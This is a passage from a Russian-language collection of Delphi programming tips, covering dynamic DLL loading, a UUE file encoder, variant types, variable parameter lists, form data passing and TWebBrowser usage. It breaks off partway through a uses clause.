Как Вы могли заметить, расширение файла, содержащего DLL, не указывается - по умолчанию подразумеваются файлы *.DLL и *.EXE. Как же тогда быть в случае, если файл имеет другое расширение (например, как COMPLIB.DCL в Delphi), или если требуется динамическое определение DLL и импортируемых функций (например, Ваша программа работает с различными графическими форматами, и для каждого из них существует отдельная DLL.)?
Для решения такого рода проблем Вы можете обратиться напрямую к API Windows, используя, так называемый, динамический импорт:
uses
WinTypes, WinProcs, ... ;
type
TMyProc = procedure ;
var
Handle: THandle;
MyImportProc: TMyProc;
begin
Handle := LoadLibrary('MYDLL');
if Handle >= 32 then { if
begin
@MyImportProc := GetProcAddress(Handle, 'MYEXPORTPROC');
if MyImportProc <> nil then
... {using imported procedure}
end;
FreeLibrary(Handle);
end;
|
Синтаксические диаграммы объявлений экспорта/импорта, подмена точки выхода из DLL, и другие примеры, Вы можете найти в OnLine Help Delphi, Object Pascal Language Guide, входящему в Borland RAD Pack for Delphi, и, например, в книге "Teach Yourself Delphi in 21 Days".
Если не говорить о генерируемом компилятором коде (сейчас он более оптимизирован), то все правила синтаксиса остались те же , что и в Borland Pascal 7.0.
DLL, использующие объекты VCL для работы с данными
При создании своей динамической библиотеки Вы можете использовать вызовы функций из других DLL. Пример такой DLL есть в поставке Delphi (X:\DELPHI\DEMOS\BD\BDEDLL). В эту DLL помещена форма, отображающая данные из таблицы и использующая для доступа к ней объекты VCL (TTable, TDBGrid, TSession), которые, в свою очередь, вызывают функции BDE. Как следует из комментариев к этому примеру, для такой DLL имеется ограничение: ее не могут одновременно использовать несколько задач. Это вызвано тем, что объект Session, который создается автоматически при подключении модуля DB, инициализируется для модуля, а не для задачи. Если попытаться загрузить эту DLL вторично из другого приложения, то возникнет ошибка. Для предотвращения одновременной загрузки DLL несколькими задачами нужно осуществить некоторые действия. В примере - это процедура проверки того, используется ли DLL в данный момент другой задачей.
Исключительные ситуации в DLL
Возникновение исключительной ситуации в DLL, созданной в Delphi, приведет к прекращению выполнения всего приложения, если эта ситуация не была обработана внутри DLL. Поэтому желательно предусмотреть все возможные неприятности на момент разработки DLL. Можно порекомендовать возвращать результат выполнения импортируемой функции в виде строки или числа и, при необходимости, заново вызывать исключительную ситуацию в программе.
Код в DLL:
function MyFunc: string;
begin
try
{собственно код функции}
except
on EResult: Exception do
Result:=Format(DllErrorViewingTable, [EResult.message])
else
Result := Format(DllErrorViewingTable, ['Unknown error']);
end;
end;
|
Код в программе:
StrResult := MyFunc; if StrResult <> '' then raise Exception.Create(StrResult); |
Список зависимых файлов.
Используйте утилиту tdump, включенную в поставку delphi:tdump -eiNAM xyz.exe >tempfileЭта команда просканирует файл xyz.exe c параметром MODULE NAME TABLE (таблица имен модулей) и запишет результат в Файла tempfile. Результат представляет собой список всех DLL, загружаемых программой.
Исключение составляет загрузка DLL с помощью функции API LoadLibrary, но это редкий случай.
UUE кодирование.
Автор: Sergei Dubarev Для того, чтобы ОНО заработало, необходимо создать проект в составе: Форма (form) - 1 шт. Поле ввода (edit) - 2 шт., используются события OnDblClick. Кнопка (button) - 1 шт., используется событие OnClick. Диалог открытия файла (Open Dialog) - 1 шт. Диалог сохранения файла (Save Dialog) - 1 шт. Имена файлов будут вводится либо вручную, либо из диалога (double-click на поле ввода edit), причем в edit1.text должно лежать имя входного файла, в edit2.text - выходного. По нажатии кнопки пойдет процесс, который завершится сообщением "DONE." Всего хорошего. P. S. Функция toanysys обнаружена в книге "Для чего нужны и как работают персональные ЭВМ" от 1990 г. Там она присутствует в виде программы на BASIC'e. P.P.S. Для стимулирования фантазии читателей "Советов..." высылаю так же мессагу из эхи, на основе которой я сваял свое чудо.Файл Unit1.pas.
//UUE кодирование
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtDlgs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
procedure Edit1DblClick(Sender: TObject);
procedure Edit2DblClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
const
ssz = (High(Cardinal) - $F) div sizeof(byte);
//эта константа используется при выделении памяти
p: string = '0123456789ABCDEF';
//эта константа используется функцией toanysys
//выбор входного файла
procedure TForm1.Edit1DblClick(Sender: TObject);
begin
if opendialog1.execute then
edit1.text := opendialog1.filename;
end;
//выбор выходного (UUE) файла
procedure TForm1.Edit2DblClick(Sender: TObject);
begin
if savedialog1.execute then
edit2.text := savedialog1.filename;
end;
//выделение подстроки
function mid(s: string; fromc, toc: byte): string;
var
s1: string;
i: byte;
begin
s1 := '';
for i := fromc to toc do
s1 := s1 + s[i];
mid := s1;
end;
//перевод числа (a) из десятичной системы в другую
//с основанием (r)
function toanysys(a, r: byte): string;
var
s,
k: string;
n,
m,
i: byte;
begin
s := '';
m := 1;
while m <> 0 do
begin
m := a div r;
n := a - m * r + 1;
k := p[n];
s := k + s;
a := m;
end;
//добавляет незначащие нули
for i := 1 to 8 - length(s) do
s := '0' + s;
toanysys := s;
end;
//перевод 6-разрядного числа из двоичной системы в десятичную
//двоичное число подставляется в виде строки символов
function frombin(s: string): byte;
var
i,
e,
b: byte;
begin
b := 0;
for i := 1 to 6 do
begin
e := 1 shl (6 - i);
if s[i] = '1' then
b := b + e;
end;
frombin := b;
end;
//непосредственно кодирование
type
tcoola = array[1..1] of byte;
pcoola = ^tcoola;
procedure TForm1.Button1Click(Sender: TObject);
var
inf: file of byte;
ouf: textfile;
uue: pcoola;
b: array[1..4] of byte;
bin,
t: string;
szf,
oum,
szl,
szh,
sxl,
sxh,
i,
j: longint;
begin
{$I-}
assignfile(inf, edit1.text); //входной файл
reset(inf);
szf := filesize(inf); //
szh := (szf * 8) div 6; //
if szf * 8 - szh * 6 = 0 then
szl := 0
else
szl := 1; //
getmem(uue, szh + szl); //выделение памяти
oum := 1;
while not (eof(inf)) do
begin
b[1] := 0;
b[2] := 0;
b[3] := 0;
b[4] := 0;
//чтение должно быть сделано посложнее,
//дабы избежать "read beyond end of file"
read(inf, b[1], b[2], b[3]);
//читаем 3 байта из входного файла
//и формируем "двоичную" строку
bin := toanysys(b[1], 2) +
toanysys(b[2], 2) +
toanysys(b[3], 2);
//разбиваем строку на куски по 6 бит и добавляем 32
t := mid(bin, 19, 24);
b[4] := frombin(t) + 32;
t := mid(bin, 13, 18);
b[3] := frombin(t) + 32;
t := mid(bin, 07, 12);
b[2] := frombin(t) + 32;
t := mid(bin, 01, 06);
b[1] := frombin(t) + 32;
//запихиваем полученнные байты во временный массив
uue[oum] := b[1];
oum := oum + 1;
uue[oum] := b[2];
oum := oum + 1;
uue[oum] := b[3];
oum := oum + 1;
uue[oum] := b[4];
oum := oum + 1;
end;
//входной файл больше не нужен - закрываем его
closefile(inf);
//формируем выходной файл
assignfile(ouf, edit2.text); //выходной файл
rewrite(ouf);
oum := 1;
sxh := (szh + szl) div 60; //число строк в UUE файле
sxl := (szh + szl) - sxh * 60;
//заголовок UUE-файла
writeln(ouf, 'begin 644 ' + extractfilename(edit1.text));
//записываем строки в файл
for i := 1 to sxh do
begin
write(ouf, 'M');
// 'M' значит, что в строке 60 символов
for j := 1 to 60 do
begin
write(ouf, chr(uue[oum]));
oum := oum + 1;
end;
writeln(ouf);
end;
//записываем последнюю строку, которая
//обычно короче 60 символов
sxh := (sxl * 6) div 8;
write(ouf, chr(sxh + 32));
for i := 1 to sxl do
begin
write(ouf, chr(uue[oum]));
oum := oum + 1;
end;
// "добиваем" строку незначащими символами
for i := sxl + 1 to 60 do
write(ouf, '`');
//записываем последние строки файла
writeln(ouf);
writeln(ouf, '`');
writeln(ouf, 'end');
closefile(ouf);
freemem(uue, szh + szl); //освобождаем память
showmessage('DONE.'); //Готово. Забирайте!
end;
end.
|
1) Читаем из исходного хфайла 3 байта. 2) Разбиваем полученные 24 бита (8x3=24) на 4 части, т.е. по 6 бит. 3) Добавляем к каждой части число 32 (десятичн.) Пример: Имеем три числа 234 12 76. Побитово будет так - 11101010 00001100 01001100 разбиваем и получаем - 111010 100000 110001 001100 добавляем 32 - +100000 +100000 +100000 +100000 ------ ------ ------ ------ 1011010 1000000 1010001 101100 или в буквах - Z @ Q , Вот собственно и все. В UUE файле в первой позиции стоит кол-во закодированных символов + 32. Т.е. вся строка содержит 61 символ. 1 символ идет на кол-во. Остается 60 символов _кода_. Если подсчитать, то мы увидим, что для получения 60 символов кода необходимо 45 исходных символов. Для полной строки в начале стоит буква "M", а ее ASCII код = 77. 45+32=77.
Проверка дат.
function ValidDate(const S: String): Boolean;
BEGIN
Result := True;
try
StrToDate(S);
except
ON EConvertError DO
Result := False;
end;
END
|
Пример переменного количества параметров.
program VarPar;
{ Простая программа, демонстрирующая пример использования переменного
числа параметров заданного типа в Delphi.
Создано в марте 1995, автор Hallvard Vassbotn
hallvard@falcon.no
}
uses WinCrt, SysUtils;
{ предопределения в System:
const
vtInteger = 0;
vtBoolean = 1;
vtChar = 2;
vtExtended = 3;
vtString = 4;
vtPointer = 5;
vtPChar = 6;
vtObject = 7;
vtClass = 8;
type
TVarRec = record
case Integer of
vtInteger: (VInteger: Longint; VType: Byte);
vtBoolean: (VBoolean: Boolean);
vtChar: (VChar: Char);
vtExtended: (VExtended: PExtended);
vtString: (VString: PString);
vtPointer: (VPointer: Pointer);
vtPChar: (VPChar: PChar);
vtObject: (VObject: TObject);
vtClass: (VClass: TClass);
end;
}
const
TypeNames: array[vtInteger..vtClass] of PChar =
('Integer', 'Boolean', 'Char', 'Extended', 'String',
'Pointer', 'PChar', 'Object', 'Class');
{
Согласно on-line документации (поиск по слову TVarRec), массив параметров
array of const интерпретируется компилятором подобно массиву array of TVarRec.
Данный пример будет работать подобно тому, как если бы вы изменили
объявление TestMultiPar на:
procedure TestMultiPar(const Args: array of TVarRec);
Вы можете сделать реализацию обычного "очистителя" (без объявления
переменных), но интерфейс был бы менее понятным пользователям данного
модуля.
Компилятор видит параметры и формирует массив непосредственно в
стеке. Для каждого элемента массива также устанавливается поле
VType с одной из предопределенных констант vtXXXX. Фактически
значение всегда передается в виде четыре байта информации. Для
типов Boolean и Char полезную информацию содержит только первый
байт.
Теперь вы можете писать все те же хорошие программы, но вдобавок
поддерживающие переменное количество параметров с проверкой типов!
}
function PtrToHex(P: pointer): string;
begin
Result := IntToHex(Seg(P^), 4) + ':' + IntToHex(Ofs(P^), 4);
end;
procedure TestMultiPar(const Args: array of const);
var
ArgsTyped: array[0..$FFF0 div sizeof(TVarRec)] of TVarRec absolute Args;
i: integer;
begin
for i := Low(Args) to High(Args) do
with ArgsTyped[i] do
begin
Write('Args[', i, '] : ', TypeNames[VType], ' = ');
case VType of
vtInteger: writeln(VInteger);
vtBoolean: writeln(VBoolean);
vtChar: writeln(VChar);
vtExtended: writeln(VExtended^: 0: 4);
vtString: writeln(VString^);
vtPointer: writeln(PtrToHex(VPointer));
vtPChar: writeln(VPChar);
vtObject: writeln(PtrToHex(Pointer(VObject)));
vtClass: writeln(PtrToHex(Pointer(VClass)));
end;
end;
end;
var
MyObj: TObject;
begin
Writeln('Проверка выполнения функции с переменным количеством параметров и проверкой типов:');
MyObj := TObject.Create;
TestMultiPar([123, 45.67, PChar('ASCIIZ'), 'Здравствуй, мир!', true, 'X',
@ShortDayNames, TObject, MyObj]);
MyObj.Free;
{ Для того, чтобы обеспечить предварительную проверку типа при передаче параметров,
попробуйте следующее: }
writeln(Format('%d', ['привет']));
{ Переданный параметр не является ожидаемым типом. Строка формата '%d'
говорит о том, что параметр должен быть целой величиной, но вместо этого мы передаем
строку. Во время выполнения это вызовет исключительную ситуацию, и если вы не организовали
ловушку для объектов исключения, то Delphi выведет вам строку с описанием ошибки.
Использование функции C-типа sprintf в этом случае может привести к непредсказуемым
последствиям (читай: крах системы, GP и все что угодно) }
end.
|
Переменное количество параметров любого типа.
Автор: NeilВы можете определить список параметров процедуры как "Foo : ARRAY of const" и использовать почти ЛЮБОЙ тип параметра. Вот пример. Разместите на форме компоненты Memo и Button и добавьте строку "procedure Display(X : array of const);" в определения класса формы после комментария { Private Declarations }. Создайте функцию типа этой:
procedure TForm1.Display(X: array of const);
var
I: Integer;
begin
Memo1.Clear;
for I := 0 to High(X) do
with TVarRec(X[I]) do
with Memo1.Lines do
case VType of
vtInteger: Add('Integer:'#9 + IntToStr(VInteger));
vtBoolean: if VBoolean then
Add('Boolean:'#9'True'
else
Add('Boolean:'#9'False');
vtChar: Add('Char:'#9 + VChar);
vtExtended: Add('Float:'#9 + FloatToStr(VExtended^));
vtString: Add('String:'#9 + VString^);
vtPointer: Add('Pointer:'#9 + Format('%p', [VPointer]));
vtPChar: Add('PChar:'#9 + StrPas(VPChar));
vtObject: Add('Object:'#9 + VObject.ClassName);
vtClass: Add('Class:'#9 + VClass.ClassName);
end;
end;
|
Теперь в обработчике события кнопки OnClick вызываем процедуру Display и передаем ей "что попало". Числа, строки, PChar-ы, объекты! Например:
Display([42, 1.234, 'A', 'Васек Трубачев', Form1, TButton]); |
Практичестки это программа с переменным числом параметров. Но самом деле параметр один, но он является массивом, содержащим переменное количество параметров различного типа. Потрясающе!
Пример переменной записи.
Автор: Peter Below В Delphi 2.0 я пытаюсь прочесть текстовый файл и получаю проблему. Текстовый файл, который я хочу прочесть, имеет записи фиксированной длины, но в самих записях могут располагаться различные типы с различной длиной, и оканчиваться в различных позициях, в зависимости от типа. Файл выглядит примерно так:TFH.......<First record type, первый тип записи> TBH.......<Second record type, второй тип записи> TAB........<Third record type, третий тип записи> TAA........<Fourth record type, четвертый тип записи>
Вы можете поймать больше одного зайца в случае объявления переменной записи, но если сделаете это правильно.
type
TDataTag = array[1..3] of Char;
TDataTags = array[0..NumOfTags - 1] of TDataTag;
TDataRec = packed record
tagfield: TDataTag;
case integer of
0: (поля для тэга TFH);
1: (поля для тэга TBH);
2: ..
....
end;
TMultiRec = packed record
case Boolean of
false: (строка: array[0..1024] of Char);
{ должно установать строку максимально возможной длины }
true: (data: TDataRec);
end;
const
DataTags: TDataTags = ('TFH', 'TBH', ....);
var
rec: TMultirec;
ReadLn(datafile, rec.line);
case IndexFromDataTag(rec.data.tagfield) of
0: ...
1: ...
end;
|
IndexFromDataTag должен искать передаваемый тэг поля в массиве DataTags. Определите все поля в TDataRec как Array [1..someUpperBound] of Char.
Указатель на вариантный тип - предупреждение.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
(deutsche Version siehe unten) I just ran across this in some of my old code and thought I''d share it with you: Consider the following (simplified code):function CreateVariantPtr(_Value: variant): pVariant; begin GetMem(Result, SizeOf(Variant)); Result^ := _Value; end;Seems pretty simple, doesn''t it? Anybody who can spot the bug? I got spurious access violations in the line Result^ := _Value; Ok, the reason: Memory allocated with GetMem is not initialised, so the "Variant" pointed to by Result contains some random data, for example something that might represent a variant type which requires some finalisation when the variant is changed, lets say a variant array of some sort. But this finalisation won''t work because the content is just some random garbage, and sometimes I was lucky (I mean that!) and got an access violation that allowed me to spot the error. The fix:
function CreateVariantPtr(_Value: variant): pVariant;
begin
GetMem(Result, SizeOf(Variant));
Initialize(Result^);
Result^ := _Value;
end;
{***********--- deutsch ---***********************}
Mir ist gerade folgendes in ein alten Sourcen aufgefallen und ich dachte, das interessiert den einen oder anderen.. Folgender Code (vereinfacht): function CreateVariantPtr(_Value: variant): pVariant; begin GetMem(Result, SizeOf(Variant)); Result^ := _Value; end;Sieht ziemlich simpel aus, oder? Kann jemand den Bug finden? Ich bekam manchmal Access Violations in der Zeile. Result^ := _Value; Der Grund: Wenn man Speicher mit GetMem anfordert, so wird dieser nicht initialisiert, d.h. das der "Variant", auf den Result zeigt, voellig zufaelligen Inhalt hat, es koennte z.B. eine Variant-Typ sein, der, wenn er ueberschrieben wird, irgendwie freigegeben werden muss, z.B. ein Variant Array. Aber das Freigeben wuerde fehlschlagen, denn es ist ja nicht wirklich ein Variant Array sondern nur Speichermuell, der zufaellig so aussieht wie ein solches. Und ich hatte das Glueck (und ich meine Glueck) dass ich eine Access Violation bekam, die mich auf diesen Fehler hinwies (die Alternative ist, dass der Freigabecode irgendwo im Speicher rumbastelt und dabei moeglicherweise wichtige Daten veraendert, ohne dass ich das merke, so mit der am schwierigsten zu findende Bug, den es gibt). Der Bugfix:
function CreateVariantPtr(_Value: variant): pVariant; begin GetMem(Result, SizeOf(Variant)); Initialize(Result^); Result^ := _Value; end;
Конвертация Variant в Integer.
Автор: Григорий Ситнин WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Конвертация Variant -> Integer
Конвертирует, если это возможно Variant в число. Если конвертация неудается,
то возвращается значение по умолчанию.
Зависимости: Variants, SysUtils
Автор: Григорий Ситнин, gregor@gregor.ru, Москва
Copyright: Григорий Ситнин, 2003
Дата: 8 июля 2003 г.
***************************************************** }
function VarToInt(var AVariant: variant; DefaultValue: integer = 0): integer;
begin
//*** Если NULL или не числовое, то вернем значение по умолчанию
Result := DefaultValue;
if VarIsNull(AVariant) then
Result := 0
else
{//*** Если числовое, то вернем значение} if VarIsOrdinal(AVariant) then
Result := StrToInt(VarToStr(AVariant));
end;
Как преобразовать значение любого типа в строку.
Более подробно ищите в хелпе Delphi по словам "Variant" и "TVarData"...
function ToString(Value: Variant): String;
begin
case TVarData(Value).VType of
varSmallInt,
varInteger : Result := IntToStr(Value);
varSingle,
varDouble,
varCurrency : Result := FloatToStr(Value);
varDate : Result := FormatDateTime('dd/mm/yyyy', Value);
varBoolean : if Value then Result := 'T' else Result := 'F';
varString : Result := Value;
else Result := '';
end;
end;
|
Использование:
ShowMessage(ToString(10.87)); ShowMessage(ToString(10)); |
Или.
var V1 : Double; V2 : Integer; V3 : TDateTime; V4 : Boolean; begin ... ShowMessage(ToString(V1)); // Double â String ShowMessage(ToString(V2)); // Integer â String ShowMessage(ToString(V3)); // DateTime â String ShowMessage(ToString(V4)); // Boolean â String end; |
Так же можно пользоваться другими вариантами, например:
varCurrency : Result := CurrToStrF(Value ,ffFixed,CurrencyDecimals); |
И.
varDate: Result := DateToStr(Value); |
Классовые и статические переменные общего доступа.
Здесь кроется небольшая хитрость: получение эквивалентной функциональности с помощью классового метода. Просто объявите NodeCount как регулярную типизированную константу в секции implementation вашего файла.
type
TNode = class
public
NodeCount: Integer = 0; {ЭТО НЕ ДОПУСКАЕТСЯ}
constructor Create;
class function GetNodeCount: word;
{
другой необходимый код
}
end;
implementation
const
NodeCount: word = 0;
TNode.Create;
begin
inherited Create;
Inc(NodeCount);
end;
function TNode.GetNodeCount: word;
begin
result := NodeCount;
end;
|
Итак, теперь ваш код может выглядеть так, как вы хотели:
SampleNode := TNode.Create; x := SampleNode.GetNodeCount; |
Следующая строка также корректна:
x := TNode.GetNodeCount; |
Передача переменных форме.
Автор: Ed Jordan ...поможете мне создать функцию, с помощью которой я передам переменные в TFormClass? Проблема в том, что MyDlg.Execute() не захотела компилироваться, поскольку, как сообщил мне компилятор, я не могу использовать MyDlg (определенный как: TForm).Эта функция может выглядеть примерно так:
function ExecuteDialog( FormClass: TFormClass; var Data ): Boolean; |
Я могу вам дать еще один совет: сделать все ваши формы наследниками одного класса, в котором объявлены виртуальные методы SetData и GetData.
{ ----------------------- }
unit ExecFrms;
interface
uses Forms, Controls;
type
TExecForm = class(TForm)
public
procedure GetData(var Data); virtual; abstract;
procedure SetData(var Data); virtual; abstract;
end;
TExecFormClass = class of TExecForm;
function ExecuteDialog(FormClass: TExecFormClass;
var Data): Boolean;
implementation
function ExecuteDialog(FormClass: TExecFormClass;
var Data): Boolean;
begin
with FormClass.Create(Application) do
try
SetData(Data);
Result := ShowModal = mrOK;
if Result then
GetData(Data);
finally
Release;
end;
end;
end.
{ ----------------------- }
|
{ ----------------------- }
unit MyDlgs;
interface
uses WinTypes, WinProcs, Classes, Graphics, Forms,
Controls, Buttons, StdCtrls, Spin, ExtCtrls,
ExecFrms;
type
{ Запись для данных, необходимых модальной форме... }
TMyDlgData = record
FormCaption: string;
FormWidth: Integer;
end;
TMyDlg = class(TExecForm)
OKBtn: TBitBtn;
CancelBtn: TBitBtn;
HelpBtn: TBitBtn;
Bevel1: TBevel;
Edit1: TEdit;
SpinEdit1: TSpinEdit;
public
procedure SetData(var Data); override;
procedure GetData(var Data); override;
end;
var
MyDlg: TMyDlg;
implementation
{$R *.DFM}
procedure TMyDlg.SetData(var Data);
begin
with TMyDlgData(Data) do
begin
Edit1.Text := FormCaption;
SpinEdit1.Value := FormWidth;
end;
end;
procedure TMyDlg.GetData(var Data);
begin
with TMyDlgData(Data) do
begin
FormCaption := Edit1.Text;
FormWidth := SpinEdit1.Value;
end;
end;
end.
{ ----------------------- }
|
Затем создаем и выполняем диалог, который должен выглядеть приблизительно так:
{ Добавьте ExecFrms и MyDlgs в список USES вызывающего модуля. }
procedure TForm1.GetNewCaptionAndWidthBtnClick(Sender: TObject);
var
Data: TMyDlgData;
begin
Data.FormCaption := Caption;
Data.FormWidth := Width;
if ExecuteDialog(TMyDlg, Data) then
begin
Caption := Data.FormCaption;
Width := Data.FormWidth;
end;
end;
|
Не поверите: данный код работает еще со времён Turbo Vision!
Вставка текста (программно сгенерированной HTML-страницы) в TWebBrowser (не из файла, а из текстовой переменной).
Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вставка текста (программно сгенерированной HTML-страницы) в TWebBrowser
(не из файла, а из текстовой переменной)
Функция позволяет отображать любой текст в TWebBrowser или TWebBrowser_V1.
С ее помощью можно обойтись без html-файлов и отображать html-странички,
генерируя их программно. Обрабатывая клики в таких страничках можно быстро
и просто создавать интерфейс приложения в формате HTML.
Для работы функции обязателен установленный в системе Internet Explorer.
Здесь я использую веббраузер старой версии - TWebBrowser_V1, при необходимости
можно заменить его на TWebBrowser (просто переписать тип входной переменной WB),
Но при этом программа с этой функцией будет работать только на системах
с IE версии 5.0 и выше, в то время как TWebBrowser_V1 обеспечивает работу
начиная с версии 4.0.
Зависимости: ActiveX, SHDocVw, MSHTML, Forms, установленный Internet Explorer
Автор: lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright: Взято из FAQ и оптимизировано lipskiy и Donal_Graeme
Дата: 14 августа 2002 г.
***************************************************** }
procedure TextToWebBrowser(Text: string; var WB: TWebBrowser_V1);
var
Document: IHTMLDocument2;
V: OleVariant;
begin
// Документ необходимо создать только один раз за текущую сессию работы
if WB.Document = nil then
WB.Navigate('about:blank');
// Ожидаем создания документа и позволяем обрабатывать все сообщения
while WB.Document = nil do
Application.ProcessMessages;
Document := WB.Document as IHtmlDocument2;
// Вставляем текст (до 2Гб)
{следующие строчки внесены недавно - старый вариант функции не работал под XP}
V := VarArrayCreate([0, 0], varVariant);
V[0] := Text;
Document.Write(PSafeArray(TVarData(v).VArray));
Document.Close;
end;
Как преобразовать строку в дату.
Функция StrToDate преобразует только числа, поэтому, если у Вас месяцы в виде имён, то прийдётся использовать VarToDateTime.
var
D1, D2, D3 : TDateTime;
begin
D1 := VarToDateTime('December 6, 1969');
D2 := VarToDateTime('6-Apr-1998');
D3 := VarToDateTime('1998-Apr-6');
ShowMessage(DateToStr(D1)+' '+DateToStr(D2)+' '+DateToStr(D3));
end;
|
Вариантные типы.
unit VariaF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
ListBox1: TListBox;
BtnCreate: TButton;
BtnClear: TButton;
BtnConvert: TButton;
procedure BtnClearClick(Sender: TObject);
procedure BtnConvertClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BtnCreateClick(Sender: TObject);
private
Variant1: Variant;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses
ComObj;
function VarTypeToString(VType: Integer): string;
begin
case VType of
varEmpty: Result := 'varEmpty';
varNull: Result := 'varNull';
varSmallint: Result := 'varSmallint';
varInteger: Result := 'varInteger';
varSingle: Result := 'varSingle';
varDouble: Result := 'varDouble';
varCurrency: Result := 'varCurrency';
varDate: Result := 'varDate';
varOleStr: Result := 'varOleStr';
varDispatch: Result := 'varDispatch';
varError: Result := 'varError';
varBoolean: Result := 'varBoolean';
varVariant: Result := 'varVariant';
varUnknown: Result := 'varUnknown';
varByte: Result := 'varByte';
varString: Result := 'varString';
varTypeMask: Result := 'varTypeMask';
varArray: Result := 'varArray';
varByRef: Result := 'varByRef';
else
Result := 'Error: Undefined variant type';
end;
end;
procedure ShowVariantInfo(V: Variant; Str: TStrings);
begin
Str.Clear;
Str.Add('Var type: ' +
VarTypeToString(VarType(V)));
if VarIsArray(V) then
Str.Add('Is an array');
if VarIsEmpty(V) then
Str.Add('Empty variant');
if VarIsNull(V) then
Str.Add('Null variant');
// protect conversion methods and show default strings
try
Str.Add('String value: ' + VarToStr(V));
except
on EVariantError do
Str.Add('String value: <Undefined>');
end;
try
Str.Add('Numeric value: ' + FloatToStr(V));
except
on EVariantError do
Str.Add('Numeric value: <Undefined>');
end;
end;
procedure TForm1.BtnClearClick(Sender: TObject);
begin
VarClear(Variant1);
ShowVariantInfo(Variant1, Memo1.Lines);
end;
procedure TForm1.BtnConvertClick(Sender: TObject);
var
VType: Integer;
begin
VType := Integer(
ListBox1.Items.Objects[ListBox1.ItemIndex]);
try
Variant1 := VarAsType(Variant1, VType);
ShowVariantInfo(Variant1, Memo1.Lines);
except
on EVariantError do
ShowMessage('Conversion not supported');
end;
end;
const
VarList: array[1..10] of Integer =
(varSmallint, varInteger, varSingle, varDouble,
varCurrency, varDate, varOleStr, varDispatch,
varBoolean, varString);
procedure TForm1.FormCreate(Sender: TObject);
var
I: Integer;
begin
// fill the list with variant type constants
// (their description and their value)
for I := 1 to High(VarList) do
ListBox1.Items.AddObject(
VarTypeToString(VarList[I]),
TObject(VarList[I]));
// select the first item
ListBox1.ItemIndex := 0;
ShowVariantInfo(Variant1, Memo1.Lines);
end;
procedure TForm1.BtnCreateClick(Sender: TObject);
var
VType: Integer;
begin
VType := Integer(
ListBox1.Items.Objects[ListBox1.ItemIndex]);
case VType of
varSmallint: Variant1 := VarAsType(
10, varSmallint);
varInteger: Variant1 := Integer(1000);
varSingle: Variant1 :=
VarAsType(1.1, varSingle);
varDouble: Variant1 := Sqrt(1000.01);
varCurrency: Variant1 := 100.01;
varDate: Variant1 := Now;
varOleStr: Variant1 :=
VarAsType('Hello', VarOleStr);
varDispatch: Variant1 :=
CreateOleObject('Word.Basic');
varBoolean: Variant1 := WordBool(True);
varString: Variant1 := 'Delphi';
end;
ShowVariantInfo(Variant1, Memo1.Lines);
end;
end.
Как сообщить какую-то глобальную переменную всем окнам программы (даже скрытым).
Автор: Олег КулабуховРешением для такой задачи является рассылка пользовательского сообщения всем окнам массива Screen.Forms.
{Code for Unit1}
const
UM_MyGlobalMessage = WM_USER + 1;
type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
procedure FormShow(Sender: TObject);
procedure Button1Click(Sender: TObject);
{ Private declarations }
private
procedure UMMyGlobalMessage(var AMessage: TMessage); message
UM_MyGlobalMessage;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses Unit2;
procedure TForm1.FormShow(Sender: TObject);
begin
Form2.Show;
end;
procedure TForm1.UMMyGlobalMessage(var AMessage: TMessage);
begin
Label1.Left := AMessage.WParam;
Label1.Top := AMessage.LParam;
Form1.Caption := 'Got It!';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
f: integer;
begin
for f := 0 to Screen.FormCount - 1 do
Screen.Forms[f].Perform(UM_MyGlobalMessage, 42, 42);
end;
{Code for Unit2}
const
UM_MyGlobalMessage = WM_USER + 1;
type
TForm2 = class(TForm)
Label1: TLabel;
private
{ Private declarations }
procedure UMMyGlobalMessage(var AMessage: TMessage); message
UM_MyGlobalMessage;
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.DFM}
procedure TForm2.UMMyGlobalMessage(var AMessage: TMessage);
begin
Label1.Left := AMessage.WParam;
Label1.Top := AMessage.LParam;
Form2.Caption := 'Got It!';
end;
|
VBX в приложениях DELPHI - как распространять.
Чтобы использовать любые элементы управления VBX с компилированным Delphi EXE-файлом, вам необходимо распространить BIVBX11.DLL (расположен в каталоге \WINDOWS\SYSTEM - Borland при установке копирует его туда).
Использование контекстного меню с VBX.
| Выпущена новая версия WINDOWS для новых русских... При клике правой кнопкой мыши в пункте контекстного меню "упорядочить иконки" появляется подменю с пунктами "по типу", "чиста" и "канкретна". |
Например, так:
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if button = mbRight then
with (Sender as TControl) do
with ClientToScreen(Point(X, Y)) do
begin
PopupMenu1.PopupComponent := TComponent(Sender);
PopupMenu1.Popup(X, Y);
end;
end;
|
Примечание: Свойство формы PopupMenu должно быть пустым, иначе контекстное меню будет появляться везде. Если вы хотите, чтобы форма была единственным местом, где бы появлялось контекстное меню, разместите данный метод в обработчике события формы OnMouseDown. Если вы хотите, чтобы единственно возможным местом для появления контексного меню был бы VBX, то разместите приведенный выше метод в обработчике события OnMouseDown самого VBX, ну и так далее по аналогии.
Иерархия VCL.
| Сапер ошибается один раз в жизни... В Windows даже это глючит!!! |
unit InfoForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,
Dbctrls, Dbgrids, Dblookup, Dbtables, Dialogs,
Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,
